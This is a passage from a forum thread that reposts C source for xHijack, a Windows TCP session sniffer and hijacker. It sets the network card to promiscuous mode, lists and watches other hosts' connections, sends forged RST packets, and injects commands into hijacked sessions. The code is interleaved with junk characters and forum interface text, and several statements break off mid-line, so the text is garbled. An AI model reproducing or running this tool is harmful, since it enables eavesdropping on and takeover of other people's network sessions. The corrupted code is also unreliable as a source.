  g_pCurrCtrlConn = NULL;
) o, j* y1 y/ s5 x! G# ]7 X  g_dwAction = ACTION_NONE; & o3 ^3 o( j, W( P( M! ]+ e
}
# Y% C/ i  }3 d/ S- f/ O. i1 ]- l# Y/ B
//
0 I3 e9 Q! D$ }- r$ I3 d//功能:处理Ctrl+C和Ctrl+Break事件 . k# n" a* N3 Q. N" V
// 3 N4 y& p5 @- g+ Z
BOOL WINAPI CtrlEvent(DWORD dwCtrlType) 0 }  \4 R- w# W- f$ _
{
- D3 ^4 ]& Q$ p" R' k  switch(dwCtrlType) 7 u! k5 f3 [: z9 X: m) E+ I
  { ; [2 a2 ?4 Z7 \* E7 `- v  s* q
    case CTRL_BREAK_EVENT:
3 G# P  j0 M2 Z/ X) S6 g9 @% Q      //reset action all flag
  ^) D5 j4 h: b" u      ResetActionAllFlag();
# l6 @0 |% h. |1 M0 d) S! J/ P( W      break;
% X# D* t. L* P* `: u4 l    case CTRL_C_EVENT:
- Z' S9 m6 [7 P9 v      //terminate all thread
% K+ q. M8 Z: w" @/ G      TerminateThread(g_hThread[0], 0); / a0 u/ n0 k3 {* J3 @
      TerminateThread(g_hThread[1], 0);
# y: D$ [7 d- J      TerminateThread(g_hThread[2], 0); 9 D0 h+ }/ {% B: U: I* y; ?
      TerminateThread(g_hThread[3], 0);
7 s* D5 j/ Z+ o. K1 }* D6 C6 P% x4 Y      break;
. s- E( i3 m) d! O- S# b- ]    default: . w# m- \( ?6 `# w# S# L
      break;
4 \3 [2 _  ?# h& h2 b; f  }
( T  W* `. Q  G/ e; w  return TRUE;
$ m/ ~6 x) ~. h: }! q} - s: R3 G( R" k  l+ K

7 d( p+ f0 Y( d* }- `// , X' J3 x4 p8 v9 s3 N2 D
//功能:处理用户输入
8 w% C+ y  p' ^//
0 V* |, {5 W, d* ?" FDWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
5 x: N9 ?$ y' J{
6 z7 A0 T, Z* p, q0 o  DWORD  i; : W4 o7 |$ F8 |! p$ k
  char  szBuff[16];
4 h( ^- ^" g, W0 w4 V# H& k: A& Y4 x! @7 Z6 C4 [0 p7 M$ G
  *lpCommandPos = 0; 9 V' W2 X- d9 Y
  for(i=0; i<15, i代码比较乱 2 }8 V7 h8 B. w% O$ V  l+ d# }
// 5 Q+ [, ]+ w$ o; a+ B
DWORD WINAPI InterfaceThread(LPVOID lp)
1 F/ N% E% I5 i- c# }{
8 q: a9 D+ M2 M- ~2 |# s) h# U  char  szHelp[] =  "l\t\t<-- List all connections\n"
. K# j! C+ l% C1 |8 X6 k( B            "r x\t\t<-- Reset the number x connection\n"
, M; b& a' h& b- C- ]            "w x\t\t<-- Watch the number x connection\n" ! B3 M. t; n0 R( q% b
            "h x command\t<-- Hijack the number x connection to execute command\n"
/ d  J1 B5 M  s5 ]/ ]- k3 ~            "[Note]\n"
: G/ b! |. Z/ }            "Ctrl+Break to clear all action\n" # |8 i  y8 ^7 u4 O; v% _
            "Ctrl+C to exit\n"; 1 ^0 x2 i. {0 d) v& O  L$ {6 c
  char  szPrompt[] = "\nxHijack>"; ) h: B  W0 j! e, h" X) R
  char  szBuffer[128]; 5 Y6 y8 u2 [% W2 W3 d
  DWORD  dwPos;
. L4 g8 K+ c" U  PCONNINFO  pTmp;
! h" X( b6 {4 i9 G
. v1 L/ g' c  ^/ T% M( B" c  while(1)
  |6 \1 i3 H8 J& B& C; b: {+ _  {
- O2 _2 L# V% ?; G& ~$ x  G    gets(szBuffer);//不考虑buffer overflow # |3 S9 e! L$ \& x0 ~/ X5 }7 x
    switch(szBuffer[0])
+ w, F0 b8 x- e  p) C' @. g* a3 L    {
6 o' T& k( s  `9 i! U4 D* a0 u      case 'l': " b/ R3 {* l$ ^
      case 'L':
$ e& L1 Z/ ?- O1 P8 W* g        ListAllConnection(); / D9 L& k- s# e. L( a2 k
        break;
* i4 q3 J( Y; x- `* a: \+ Y. H3 E      case 'r': ) h, j# _& c9 [4 A) N
      case 'R': . H' b2 ^2 U. j
        if(strlen(szBuffer) >2) " M5 V2 a3 {2 w$ V( n
        {
/ C  ~/ |4 |$ M. E          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); * u' ~8 O0 E* [, S( J  w
          g_dwAction = ACTION_RESET;
* I# l: q* s  D" K" b6 b" P        } 0 i' B+ W- C( e
        else printf("%s", szHelp); * g. [2 ?$ T, W/ x* `+ Z
        break;
- f; Q( `8 l, g3 p4 Z* ~7 @      case 'w':
  g- v" ^: J- F/ r' U" ^& P      case 'W': 6 t. S. g& x3 ?% Y- @8 f: D
        if(strlen(szBuffer) > 2)   m6 k( [. G8 N# E6 E, @) H
        {
) l  g( B4 x' w5 f          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); ) ?5 ^( I; T, \  z7 b( U
          g_dwAction = ACTION_WATCH; 7 x* K- v1 F" k, K1 h8 S3 W
        }
7 B/ M1 m- j+ p0 T( @0 X6 ]        else printf("%s", szHelp);
4 o) b1 j1 a- j1 g2 U( \7 j& C        break; 6 r' N( U$ N# s! n7 s( [
      case 'h':
1 b' e$ g, u" N# K6 a: }6 i      case 'H'://h 1 xxx
- ^5 S! E* [, h" K+ S5 J        if(strlen(szBuffer) > 5)
% b/ z6 t" [) \; r, [        {
2 L5 H* L9 `% K          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
2 }7 u. f% `# p$ Y7 e- K          //如果command第一个字符是'或"
& s4 u3 a0 s2 f5 M) v- A          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') ) , T" \9 T8 ^$ ]# R
          {
& d, a1 y' V5 Y$ c            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
3 w4 Z# B/ v# {0 D            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
/ f0 O( ~% d9 R          }
! |1 p. h( v: M& \3 K" {8 @          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3); 1 J0 G3 X3 x, ?& l
          strcat(g_szCommand, "\x0D\x0A"); ' \4 u" F$ ]3 l
          g_dwAction = ACTION_HIJACK;
  t# R4 l4 r4 v$ N8 ]        }
- d) S, J% L# @0 C  a. i        else printf("%s", szHelp); ! R7 @7 ?5 x: Y% t
        break;
$ f1 _; B; n: b      default:
, x  a; A% {. ^' B* I        printf("%s", szHelp);
1 z5 f, M" b, n6 ?( a        break; 3 i  Y: ~( U: Q3 e
    }//end of switch
* e4 O. M) c% x3 r6 s" ]    //find the specify ident's struct point
9 m7 Y. j6 @' q' y; `: K6 I2 O    if( (g_dwCtrlConn) && (g_dwAction) )
. B* _* W4 V7 v: S    { ( s0 r; N3 V( \0 s
      g_pCurrCtrlConn = NULL; . S6 Z. @3 Q. R9 m
      pTmp = g_pConnHead; / E3 ^5 X* `+ M* V1 |4 Y
      while(pTmp) 3 t9 f) T2 y$ \
      { ( {* Z( v1 ^6 G" u. E
        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) ) 9 K& @# m; m5 e4 f! x
        { # ^/ }9 \* r( D+ c6 O6 y: C& h  A; g
          g_pCurrCtrlConn = pTmp; , X# g0 d! X( ]) y  T
          break; 1 H; y7 I5 V8 U  N1 d
        } - O5 R, D! K. n7 {- Q
        pTmp = pTmp->Next; : q1 Z9 Q7 ~* u* x# j  @# c2 x* z
      }   u7 j) W  ?5 l' X
      if(!g_pCurrCtrlConn) 8 k7 K3 [! c0 C0 S7 C! s
      { : T7 V: r9 M% H* e
        printf("Can't find the number %d connection.\n", g_dwCtrlConn); ) j8 M/ {4 Y+ J# C0 W
        //reset action all flag
1 _9 G7 R# Z8 J/ E& C* h' n" [# S6 I        ResetActionAllFlag();       $ q8 ?2 d( w* x
      } 1 V% k8 G7 O) ]8 p2 x# A" ?9 k
    } 9 T8 s. k; l! Y0 [" \% i' K0 H" r6 \
    if(!g_dwCtrlConn) ResetActionAllFlag(); " ~/ b2 K0 ^- }: s' b/ H$ ~
    //显示当前用户所期望的动作 3 U" z8 v- ]1 s% I
    printf("\nCurrentAction:"); 6 |4 b& n1 \0 |& d+ k$ g
    switch(g_dwAction)
) R4 P  _/ D5 Y; [; o& p    {
6 }8 U: d: h0 A! d      case ACTION_WATCH: 0 X- v  J& m: c  O# [& F
        printf("ACTION_WATCH"); 7 a, ~* z6 o7 ^' _, ~, y
        break; - O# L" y8 ^( p- D) ]; {
      case ACTION_RESET:
7 X- }0 Q  d* G6 I& R0 \2 D' g- R6 c        printf("ACTION_RESET"); 5 I9 |! y( j9 u" w  [8 X' b
        break; 0 _! i  n3 G; e% H
      case ACTION_HIJACK: " O7 ~! @; W. K% K9 q
        printf("ACTION_HIJACK"); : @& _* F0 k7 F2 A) @! S
        break;
" l, v; C. a) B' p) ]2 t9 @      default: ; r8 n1 ~3 Q, z" ~/ z9 a. j
        printf("ACTION_NONE");
# _, f% F8 L5 B* ]        break;
* X; x: M( ~0 p1 Z5 l( b    }
! p/ b2 _6 G* a3 |    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt); 5 }2 f2 E& ?5 ]8 }, p$ O3 P
  }//enf of while
/ L+ _' S4 i( h( k5 e6 p8 A* A5 i  return 0; ) e, I  F3 R3 z+ S8 T( d
}
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

// , E- c1 L! ~+ p//功能:列出当前所有连接 # u3 P$ s* E" D6 Y2 Q// + I i0 c$ d1 w* O: Lvoid ListAllConnection() % M& E. z! H/ y- Z; K' A1 x6 |& y { ( f6 t: s$ l7 @' Z* Y8 E. R2 B PCONNINFO pTmp; ( W$ l4 ~$ k5 V- [' R6 t SOCKADDR_IN saDest, saSource; 8 G) z9 m9 p% J1 U# x5 u- v pTmp = g_pConnHead; # Y# N3 I: H2 i5 ]0 ~8 r while(pTmp) . D$ J: t% `. D2 F o+ |* p { ' |, l# _% t8 V" `$ H if(pTmp->bActive) # O; m* A; m" W4 r: J2 v* ? { 7 R) q3 M" i( E0 }5 H- X$ @9 l saSource.sin_addr.s_addr = pTmp->dwServerIP; $ z4 k: @( @, b saDest.sin_addr.s_addr = pTmp->dwClientIP; , o: E5 {) u5 }: q0 t" _ printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), 0 Q$ F/ w- b8 f# y$ |% v. Z5 _ ntohs(pTmp->uServerPort)); $ S9 k+ Y( F" f printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); 8 X1 {5 p4 T2 @/ ` x) t. q } 9 h5 C, b' H, r pTmp = pTmp->Next; " N1 E; N( e* c( Q: h2 l } 2 \9 v1 @4 l- I0 A7 L8 k) h1 [4 b} 1 A, l% o7 {& z7 r. M% k: }+ S, ]( R# o$ M( T8 N# o // 2 K$ L, h9 Y9 b5 k//功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址 + U: e* q4 l& q* m4 a( m& r. G+ ^1 ? // - b& p3 _0 `, j* b7 v* v5 A9 O: h LPADAPTER InitAdapter() ) b% z3 J0 X+ G l { 0 Q6 W8 V5 [6 v8 u. }$ x% q LPADAPTER lpAdapter; $ M7 K9 N* w5 j. m+ h# y7 A static char AdapterList[Max_Num_Adapter][1024]; $ T) i9 q# P6 N1 k- l3 r! k. ? char szSelectAdapterName[512]; ( t6 ^9 E2 V4 d& V2 P WCHAR AdapterName[2048]; : B# {9 {# p' E WCHAR *temp,*temp1; ( {' z/ L5 Z0 _, _- p0 p* c9 A ULONG AdapterLength = 1024; : A7 B% p' e1 p2 ?& o8 u int iAdapterNum = 0; ' K. a4 K0 w& l, P1 E int iRetCode, i; + s! z0 x/ z9 x( v( f& t int iAdapter = 0; ' t4 L) v) ^1 q- e+ G# d* d ULONG ulLen = 0; # }3 b2 Q% D6 q% b DWORD dwRet; . v) d G( P' t% B. ]$ n0 { PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; * Z7 P3 C$ L+ r, S/ s PIP_ADDR_STRING pIPAddr; / a0 [" y/ f. M: m7 P% d, j # [" }7 I1 E3 n2 x; O- c //Get The list of Adapter " P5 r! r: ]4 w2 f+ x# J if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) 8 I" K8 v2 t+ z4 c { 7 F) S3 q/ A4 Q printf("Unable to retrieve the list of the adapters!\n"); + B0 [$ j: A" O) K; v8 k return 0; $ A% `& p/ v; h5 m/ W6 @- S } * m% ^4 x; o3 H* x, q temp = temp1 = AdapterName; % n3 i U+ q/ P1 X3 P$ L i = 0; y/ t3 P+ L" O+ L' a: ?& S while ((*temp != '\0')||(*(temp-1) != '\0')) * R: h8 S j2 n: v* f& w. z { 9 ^$ B h: J- d( M5 x if (*temp == '\0') 5 I. F8 @( W4 u% b: o0 X { / s. [2 I2 N: A8 u memcpy(AdapterList,temp1,(temp-temp1)*2); + ?. }0 w' Q9 Q7 z+ Y printf("%d - %S\n", i+1, AdapterList); 0 H/ m; _9 p2 g temp1=temp+1; + f% w- z/ `+ O8 x: I8 n5 O9 Q6 @" } i++; # {- k$ k9 C: |# I } / Z! f o4 A( s3 I4 r temp++; 8 _5 P$ i* E, g } ' _0 S+ k) z5 \8 S8 i% K //choose adapter # \9 [7 B2 a2 P ?, \& E+ I while((iAdapter <= 0) || (iAdapter > i)) : p) }% {6 _5 O3 ?' ]* s/ k { ' @! F( i4 z$ B printf("\nPlease choose your Adapter:"); ' N2 C, t0 j! r) P scanf("%1d", &iAdapter); * h* c! ]3 O/ e" f } 3 m0 n6 m3 `6 T+ { printf("\n"); " i3 `: w. i3 d# {2 I: J5 p1 t4 I //---------------------------------------------// . S7 e) K( w" y& n/ w) l8 v3 a$ F //这里调用iphlpapi来取得本地ip_addr和mac_addr : t% ~- b* p* ~: I% E sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); 1 w7 A9 i' b+ q" [1 a m8 _ dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); ' G" C; ]. i& z: f$ o$ r) k if(dwRet != ERROR_BUFFER_OVERFLOW) ( r9 w" r/ Z) d9 s2 D y { ; ~8 I0 a" V: i4 ^1 ^ printf("GetAdapterInfo error:%d\n", GetLastError()); + G! j* ]5 \0 ?+ `$ U5 x return 0; H2 ~; K6 Q% p0 D0 l } 5 T2 s% v3 _# d( [6 v8 J pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); 1 U- w4 B1 ?2 }8 C- N, i9 z7 O if(!pAdapterInfo) 8 Y3 r3 B- Y! T- e, n# d, A { % b0 _0 r5 x8 b, A' M) {: L6 C. f printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); ( k! P5 B9 \+ P! n3 K X return 0; 5 v& ]* T7 x% i* q/ }9 X) b, O" g p: G } $ Y3 T( x- ^% ]! v7 W* V# N% X dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); 0 m3 r: d4 E d6 q+ A+ U! y if(dwRet != ERROR_SUCCESS) 0 z) H% Q: q2 L; y2 O) x { 1 K( S( E' q" d+ L: d printf("GetAdapterInfo error:%d\n", GetLastError()); " L1 S0 f4 |: ]% L# I' x3 G: k R; { return 0; ' o# f. ]1 C5 s. O8 W$ `9 s } : a% f" W& l' [2 h5 v1 T- f4 A1 z pTmp = pAdapterInfo; 7 z4 v V+ N! C9 x! X8 X while(pTmp) r2 [. J/ V1 c" S) n2 v! B' C2 A { - V6 j2 B- n1 X6 O [9 h //字符匹配
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

if(strstr(szSelectAdapterName, pTmp->AdapterName)) 1 f+ I! O4 \% m. G7 Q6 f8 m& t { 3 ~( h8 f2 P: C9 l' K. A6 g+ ~ //found it,get own adapter mac address 5 Q6 q4 e7 E' S3 t } memcpy(g_szOwnMAC, pTmp->Address, 6); 6 l: ?% Q6 Y+ A0 s& q //get ip address # ]: j' w9 |; n3 v pIPAddr = &pTmp->IpAddressList; $ T c6 O) ^/ q while(pIPAddr) " \4 z6 q3 ]. K+ z( B { 7 B1 F$ |, n: s; h6 W g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); : X* ^$ c6 D+ Y5 \& U! h$ n1 B4 T% w pIPAddr = pIPAddr->Next; ) T& X" Y* |, a1 V: f if(g_TotalIP >= Max_Num_IPAddr) break; 6 ~: h$ [6 }! [% w } 5 y! P" E, z) K+ ] break; 9 M1 J. U' Y' H$ ^% ]8 P p } 1 Z8 Z. n$ r' m! a/ j. ] pTmp = pTmp->Next; 2 O$ R& t8 i6 R# S) b2 A! I } 8 d# x7 m, `+ ^( h7 S) ~ free(pAdapterInfo); : t) [3 r5 E# a- a //not found,return zero % I6 y2 h9 k& u if( (!pTmp) || (!g_TotalIP) ) return 0; $ G+ W4 w: G# Q' N) _2 A //---------------------------------------------// ; n! q2 Y) |8 [ //open adapter 5 F& C5 e* ~( y9 t# I+ R, z lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); . h0 e8 k5 \2 X: {6 U9 z0 X5 r# S if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) 7 e& @/ A ?; u: c. }5 D { ; Q9 T# ^( o0 E `) \- _0 { iRetCode = GetLastError(); + K8 y/ o* S( z7 s: _- c printf("Unable to open the driver, Error Code : %lx\n", iRetCode); 8 i. B/ i; `1 G! r* M return 0; 4 A4 u/ V0 u0 S1 a8 A } / @, {, n" w/ H$ L! K7 m% q# O" R // set the network adapter in promiscuous mod % B. m; w% N: Q if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) 1 M- ?! S' F1 W7 r: N { 2 V; ^6 {7 n, e printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); " s& f+ m2 I; b9 c if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) & J" y4 c: V6 @, O2 r" @ { ) v& S/ O5 y* i printf("Unable to set ALL_LOCAL mode!\n"); 7 |0 w2 ?' V, F# L8 J" F return 0; . t2 [, q# k2 C A } 6 x* c/ w( E& k8 Y9 z } w! b1 ~# y5 W5 e, i // set a 512K buffer in the driver ) B6 M1 J5 _" \ if(PacketSetBuff(lpAdapter, 512000) == FALSE) , G Q& l0 e$ H: L8 C0 k, ] { ! \: ^/ x0 `! b" l% ]/ h( w printf("Unable to set the kernel buffer!\n"); 7 d* {$ f4 X" U1 ]6 q return 0; # _6 {3 _1 d% F& S/ |9 b# V } & T6 n4 v, q1 n( `% ? // set a 1 second read timeout 1 z/ g0 J) I; ~: `+ V if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) . X: Y2 }$ O) f5 j( ` printf("Warning: unable to set the read tiemout!\n"); ) [7 V# p3 m. K9 S# V# h if(PacketSetNumWrites(lpAdapter, 1) == FALSE) 0 |% [% }9 Y1 `9 A# U/ Y6 Q* b- f7 J printf("warning: Unable to send more than one packet in a single write!\n"); 5 |/ Z/ `' c& {6 Y5 _, N. v/ ` //设置发送的packet " c! C2 M6 i# e7 n5 r1 L9 q, q g_lpSendPacket = PacketAllocatePacket(); " `5 g6 P3 \% l0 B7 B7 [ if(g_lpSendPacket == NULL) 4 v6 A3 w" v+ W9 }8 }, ` { 8 p* N4 | ]. B. `# P4 g printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); 7 }+ z* S6 u, w6 X) I8 u' U return 0; 8 Y* e+ h4 q6 z+ T. D } $ e6 `% N+ }. l ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); 0 d( E/ S8 i; L7 k) e8 L4 s( m PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); ! ^: L/ q8 N# A0 Z4 t2 s return lpAdapter; 4 x- c F' X {: o} & n7 o6 L3 o2 s 0 P; G8 s# S& ~7 u //功能:帮助信息 * L2 n' O- T" R; H( [ void usage() 1 B# J' l4 j! p# O8 d{ 7 K( D3 T4 m6 Y$ A3 n, d printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" 2 S" w. w2 J2 ~0 B "By eyas 2002/8/19\n" H/ Y# A o$ s* c* F! b8 X "http://www.ey4s.org\n" ' d7 b+ t9 Q3 a- f- ?3 [ "Thanks to Refd0m and shotgun\n\n" 8 s- x1 y. K2 | "Usage: xHijack ServerSide ClientSide\n\n"); + M, C4 B( C- g* H0 T9 F0 {6 r8 s } + j. R% m8 n9 @- P8 P5 {5 k " [: e. k+ l9 V4 c' f0 E( s! y& Q// 2 a, h1 O* B$ F1 r//功能:显示数据包的一些详细信息 ; p- Z! Q4 Z3 ^/ K& k) Z // / p; Y+ w. V& } VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) $ a4 f! ]4 v, H+ [2 A+ ~4 Y { 9 s6 X0 w5 V+ ] SOCKADDR_IN saDest, saSrc; - W4 i8 S ^. x3 s5 F" i unsigned char FlagMask; 9 e4 Z, ]& U2 j" g4 | int i; 0 q B. ?# g" u' ` - A2 P$ v2 x' h6 }7 ` saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; 0 n8 l# e/ |, w3 H" N! h$ Y. ] saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; 7 c" e) G5 |& G- ^ printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); ! O8 W& T/ K' x1 e2 ]+ C printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), . _% _0 q4 d* b4 o/ O' ` ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); ) Y& D* a6 v2 }: ]& q5 D //display TCP flag 9 |; ^% f; P6 O1 @9 V) Q/ w( l for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) : b5 {) L/ a9 s }- U# I { L l2 m( B3 {. Q' c if((pTCPPacket->tcphdr.th_flag) & FlagMask) 2 [ F; T! D7 F printf("%c", g_szTcpFlag); - j) p! m4 `( C( {9 P6 v7 Z$ Q else printf("-"); , N: g5 f& O2 m4 `4 k+ R I } 6 [) G& s+ Y+ K printf("\n"); : s/ Q) j' g" k. M //如有需要,可显示更多详细的信息 ! x9 m: x6 L" @% E$ A, z if(bDetail) 8 _0 A; o2 E- _3 q% |! v printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); " E" @0 [( p6 L7 o } : D+ x6 k* g* [7 ?, E " B* c' F* X5 P. x8 K// + n# K2 a$ ]/ T% w4 J! h# l//功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能 # X7 I" R$ J3 b* J// ( K# g# V4 ?# M) F. G% L4 x: g' A6 eDWORD WINAPI AnalysePacketsThread(LPVOID lp) " t+ {4 [) i5 ?. E* `( `( t% o$ D{ - K6 g7 E. E r- f9 ^ ULONG ulBytesReceived; " s( s2 c" Z+ p5 O. }. r4 k USHORT usDataLen; 5 W0 }8 b3 [1 ]% ` //USHORT usIPHeadLen, usTCPHeadLen; _) c8 Q; V, w) Q+ ?/ J char *buf; ' u* h! p& r b3 R2 L. L- L0 z u_int off, i; 0 y, V4 F; @1 T+ H" _: \) Z PTCPPACKET pTCPPacket; & A4 \4 C a5 u$ s$ c struct bpf_hdr *hdr; 1 q w/ N: g: [* |) ~ LPPACKET lpRecvPacket; % v. c |4 Z) ^ char szPacketBuf[256000], *pStr; " n) F/ K" [+ H+ K BOOL bDeleteNode, bAddNew; 4 H i8 j: K# w( K" q. J DWORD ident;//当前所处理的数据包,所属的连接的唯一标识 + r6 ~! A: |- @" j BOOL bClientToServer;//数据包是否从客户端发送到服务器端 5 g, h! r' ]+ \4 ` 2 H! I" G) E$ u //设置接收的packet , K5 c- T0 W" n; t lpRecvPacket = PacketAllocatePacket(); 1 L5 Y7 @. ~6 k6 A if(lpRecvPacket == NULL) $ Q0 N% j H% O/ U; T6 r5 Q { 7 v9 Z+ ]# c0 W' j Z+ g) P, C printf("Error:failed to allocate the LPPACKET structure for recv.\n"); * m1 _8 e8 [! B# `0 I2 Y4 f return 0; F, W! \% A W } 7 z A$ Z( z9 s4 C) u7 c* n ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); / ~% p. L- |6 n9 t# m$ f PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); 1 I. c, L# K3 E4 [! A' H( O6 ^, x6 w while(1) " ?4 C7 C! R- T% j' `$ o/ J) K. N { . u c* W* h; r# ?$ A, D // capture the packets 9 x9 Z+ ` P4 N+ \1 L4 r% L) K if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) # _0 A; c2 P' N+ d$ F6 d { ' v8 T+ i% j& e% ^' C. ?$ _9 w printf("Error: PacketReceivePacket failed.\n"); 2 q2 v! b) l, n2 T5 \) k$ b3 [8 T( D break; # a6 i; ^0 {( a5 a0 X) H6 t } ) ~" x0 ]0 m3 ?1 Z; z2 h ulBytesReceived = lpRecvPacket->ulBytesReceived; ; m. b" x% h. |: c buf = lpRecvPacket->Buffer; ! i: M/ L. r1 P3 Y! j; E* Z off = 0; 9 I3 D: u, B8 c- l& r% a( f$ @* x while(off < ulBytesReceived) 4 K% T2 e" w! I& v { 3 ]9 y: Z/ G! u* N3 T( Y1 u! P/ `4 @. |* N hdr = (struct bpf_hdr *)(buf + off); 5 P) h) W1 Z2 G8 _ w8 P off += hdr->bh_hdrlen; - A; Y: w& C( T" {- q# | pTCPPacket = (PTCPPACKET)(buf + off); 8 E {0 W+ [4 X4 Y8 g1 B off = Packet_WORDALIGN(off + hdr->bh_caplen); ! D* T; z$ ?- p, N/ \/ U //不需要处理自己发出的包(转发或本机发送的) * S$ E: {9 _; t. e5 s8 Q if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; 7 J- U+ i) V4 A- E% W. \ //检查是否IP包 0 T8 f* t+ k m/ V) a if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; * ]: X8 l1 p' B. z) g5 P' h //检查是否TCP包 ' [6 Z# B9 T: r1 }3 Y) _: P if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; ' U/ j9 p8 h1 G" I$ P+ D //也不处理DestIP是自己的包 0 A& k" a; S) }* N for(i=0; i
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE); $ `; X$ l' l! o  X: k/ ~2 I1 I/ n
            //reset action flag
- d+ k& p' Z) |- x8 g            ResetActionAllFlag();
2 Q9 X$ h3 l* B/ z& E: p          }
. V$ r7 m: @. A5 t8 X          //start hijack
) |1 V0 I+ {" O* S; {: u9 A          else if(g_dwAction == ACTION_HIJACK)
4 ]9 }# H6 x( B, W1 k! P          { 4 t; K$ b& y) @! K% B+ q$ T
            //send rst packet to client
2 O( b: r8 t* Z            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq); ; T! z/ M& }/ E4 L7 j# K
            //send hijack packet to client 7 `8 b. p7 O0 C9 J" x
            SendHiJackPacket(pTCPPacket);
# w' ^8 t, ~( ]4 n  i6 p; }            //reset action flag 8 [/ G% v/ n6 Z- c% b
            ResetActionAllFlag();
9 L+ Y$ Z9 ^; v! h4 P& G# l! v          }
  Q+ N1 |. y  a1 C        }
* Z% [" }3 G2 v- b1 a9 E0 @        //show the tcp data " F6 _% t2 Z, c' N
        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) ) 2 t" }/ j% J$ z. I0 I
        { ) x  g, R8 D9 [# T  n
          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); ! ^# x7 ~9 }. a3 }$ g( `0 y7 P
          //暂不考虑IP、TCP头不是20字节的情况
$ i" V! ?" I7 B: ^* h          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
1 v" _2 p* ?) a- a8 L& J, q          pStr = (char *)pTCPPacket + 54; 2 l3 L  E% w+ Q- l$ W! B
          for(i=0; i        } 7 [1 g* ?: r& c% W  k% \
      }
# H+ u. a6 X/ i4 L! r- ^9 \0 n      //debug output   P" y) m& [. `& E- E4 \" d
      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); ; ~* H8 R1 \1 P
    }//end of analyse packets while - ]' p, C- V) w. o9 L- E9 v) G
  }//end of recv packets while
. Z8 F0 F- z; \: m  J# [- M* O- @  PacketFreePacket(lpRecvPacket); + |; b& I7 e+ V4 V
  return 0; : l$ L  X4 \4 y5 K$ V* Q$ F! M
} " l% _8 @/ N/ e& h2 V$ A3 m
: R7 h2 s( a3 c- Y4 X3 R0 y

- ~( ~4 e/ G% [& `  A//
* [$ h: X7 Y: O3 P2 I9 t$ m7 n//功能:操作记录所有连接信息的单向链表
7 p2 K- B3 b6 g/ b/ H// 8 W* B- y- f2 s: I
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
: R" c$ c8 j0 D: f! ^: E            USHORT uClientPort, BOOL bDelete, BOOL bAddNew) 7 x* O4 K6 A9 C! w. p/ p  R
{ 1 j# {/ n! X- J/ K( C
  PCONNINFO  pNew, pTmp;
5 q( J" Z7 G# f% c* k
